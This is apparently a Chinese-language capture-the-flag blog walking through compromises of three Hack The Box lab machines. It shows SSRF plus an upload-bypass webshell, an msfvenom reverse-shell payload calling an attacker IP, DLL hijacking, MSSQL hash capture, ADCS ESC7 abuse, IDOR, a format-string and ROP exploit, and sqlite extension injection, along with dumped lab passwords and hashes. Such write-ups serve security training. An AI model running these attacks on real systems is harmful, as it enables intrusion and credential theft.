80,443,还有个5985默认扫描会漏掉:
1 | nmap -sC -sV -Pn 10.10.11.238 |
需要加hosts:
1 | 10.10.11.238 meddigi.htb |
在线医疗服务:
子域名可以发现portal:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb' |
portal是医生登录界面:
主站测试注册登录,看起来就是病人页面,可以分配医生后在线问诊:
检查注册请求发现Acctype参数,默认为1,尝试修改为2注册后登录发现我们是医生,并且选择病人可以看到前面注册的普通病人账号:
但主站这里医生和病人交互部分没什么利用点
我们已经在主站获取到了医生身份,简单的直接在portal复用主站的cookie,可以正常访问portal:
各个地方测试功能,Prescription可以输入url,这里可以进行SSRF,基础探测发现8080端口响应内容是这个功能的内部访问入口,并且内部是通过aspx直接使用file参数,以及可以看到外部看不到的pdf路径:
report那里可以上传文件,存在校验只能上传pdf,但很容易通过添加pdf文件头绕过:
通过SSRF去查看确认文件后缀都保留原样:
那就可以尝试通过文件上传结合SSRF来webshell
先通过SSRF得到路径,再通过SSRF去访问aspx触发shell,得到的是svc_exampanel用户:
1 | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.6 LPORT=443 -f aspx -o shell.aspx |
svc_exampanel桌面得到user flag:
Iis相关目录,根据用户名找到ExaminationPanel,文件下载到本地分析:
1 | meterpreter > cd c:\\inetpub\\ExaminationPanel\\ExaminationPanel\\bin |
根据代码,会从注册表中读取一个key:
根据代码中得到的注册表路径去查询,得到该key:
1 | reg query HKLM\Software\MedDigi |
使用得到的key当作密码,发现devopc用户使用这个密码:
1 | Administrator |
查看运行中进程可以发现ReportManagement,找到对应文件下载到本地分析:
1 | *Evil-WinRM* PS C:\Program Files\ReportManagement> download ReportManagement.exe |
反编译可以看到一些100端口那里可用的命令,其中upload会尝试在C:\Program Files\ReportManagement\Libraries查找externalupload.dll(转发端口动态跟更容易发现这部分):
而这个dll文件并不存在,并且我们当前devdoc用户有写权限:
那就很明确了,dll劫持,写入一个恶意dll然后通过upload去触发执行
生成个恶意dll,上传,触发执行,得到Administrator:
1 | 转发端口,方便访问触发 |
Administrator桌面:
1 | meterpreter > hashdump |
80,1433,和一些常规域端口:
1 | nmap -sC -sV -Pn 10.10.11.236 |
一个写作服务官网:
基础枚举得到一些用户名:
1 | poetry run crackmapexec smb 10.10.11.236 -u miao -p "" --rid-brute 10000 |
没有可利用的roasting之类,简单的把用户名作为密码(注意需要一份小写copy),可以发现operator:
1 | poetry run crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --no-brute |
根据端口扫描结果还知道开放1433,所以同样检测mssql服务:
1 | poetry run crackmapexec mssql 10.10.11.236 -u operator -p operator |
然后就可以登录mssql,但只是guest:
1 | python3 ~/Tools/impacket/examples/mssqlclient.py manager.htb/operator:operator@10.10.11.236 -windows-auth |
可以执行xp_dirtree,UNC获取的是DC$ hash破解不出来:
1 | sudo python3 Responder.py -i 10.10.16.4 -v |
翻文件,web根目录发现一个备份压缩包:
1 | SQL (MANAGER\Operator guest@master)> xp_dirtree C:\inetpub\wwwroot |
因为是在web根目录,直接通过80那边下载即可:
1 | http://10.10.11.236/website-backup-27-07-23-old.zip |
解压后发现一个xml文件,其中得到raven用户的密码:
1 | raven@manager.htb |
Raven用户登录:
1 | evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' |
常规枚举发现raven在”Certificate Service DCOM Access”组中,那就检查ADCS,发现ESC7:
1 | whoami /all |
参考文章一步步来:
1 | add officer |
得到的Administrator hash登录:
1 | evil-winrm -i 10.10.11.236 -u Administrator -H ae5064c2f62317332c88629e025924ef |
1 | python3 ~/Tools/impacket/examples/secretsdump.py Administrator@10.10.11.236 -hashes :ae5064c2f62317332c88629e025924ef -just-dc-ntlm |
22,80,和被过滤的3000:
1 | nmap -sC -sV -Pn 10.10.11.235 |
需要加hosts:
1 | 10.10.11.235 drive.htb |
网盘服务,命名由Google Drive变换而来:
随意注册登录,测试上传只能传一些无害文件,查看可以看到一些公开的文件(除了第一个,其他都是别人传的):
公开文件没法直接修改id查看非公开,回到自己的面板,可以对自己上传的文件进行reserve即block操作:
这个接口存在IDOR,直接修改ID即可查看他人文件,在id为79的文件中得到用户名和密码:
1 | martin |
得到的用户名密码可以直接ssh登录,查看端口可以发现前面外部被过滤的3000:
转发端口访问,发现是gitea:
1 | ssh -L 3000:127.0.0.1:3000 martin@10.10.11.235 |
前面drive里得到的信息也提到这个代码仓库,同样使用martin账号密码登录(使用邮箱,或者passwd文件中得到全名martin cruz),:
1 | martin@drive.htb / martinCruz |
发现一个有访问权限的repo:
Repo里可以发现一个sh文件,看代码是加密备份sqlite3文件:
1 | 7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3 |
几个压缩包分别解压查看sqlite3文件,得到一些hash,其中一条可以破解出tom现在的密码:
1 | 7z x -p'H@ckThisP@ssW0rDIfY0uC@n:)' 1_Nov_db_backup.sqlite3.7z |
tom用户ssh登录:
当前用户目录有个suid的doodleGrive-cli,查看说明,测试运行,需要用户名和密码,和之前得到的那些不同:
下载程序到本地分析:
1 | scp tom@10.10.11.235:/home/tom/doodleGrive-cli . |
反编译结果中可以得到可用用户名和密码:
1 | moriarty |
使用得到的用户名密码测试,是用来管理网站那边用户的程序:
这个程序两种利用方式,一种面向二进制选手,另一种是常规web方式
分析代码,输入过滤了一些特殊字符,然后输入的用户名直接进入到printf中,导致格式化字符串:
然后输入密码部分,分配的buffer只有56,但fgets 400,导致溢出,但存在canary:
那二进制方式就很明确了,结合上面的格式化字符串来泄漏canary后进行rop
程序中也存在do_system函数调用sh,那就是很简单的rop来执行这个函数:
常规web方式,main_menu的选项5,输入的用户名过滤后拼接到执行的sqlite命令中:
各种常用的命令注入方式都被过滤了,但sqlite可以使用load_extention运行时加载so文件:
二进制方式,简单分析可以确定canary的索引15,然后就是基础rop去调用do_system,或者直接交给pwntools自动chain,环境变量问题要用绝对路径:
1 | from pwn import * |
自己编译一个so文件:
1 | gcc -shared miao.c -o miao.so -nostartfiles -fPIC |
这里注入也有两种方式,一种是直接闭合用户名后用char函数来指定so路径:
1 | Select option: 5 |
另一种是网站那边创建用户,邮箱使用so路径,然后再回到elf这里加载:
1 | email : /tmp/miao1/miao@miao.so |
1 | //gcc -shared loadme.c -o loadme.so -nostartfiles -fPIC |
1 | root:$6$T11qODg0Qumrq9Zn$3t1nyBLHtah8HAmx80RXRCz6.9tPi0GL7GHMCiWquMQGh/TTrukX8jATmZ5MHDDWu0m4My.HGe29XEsDc2R/k1:19598:0:99999:7::: |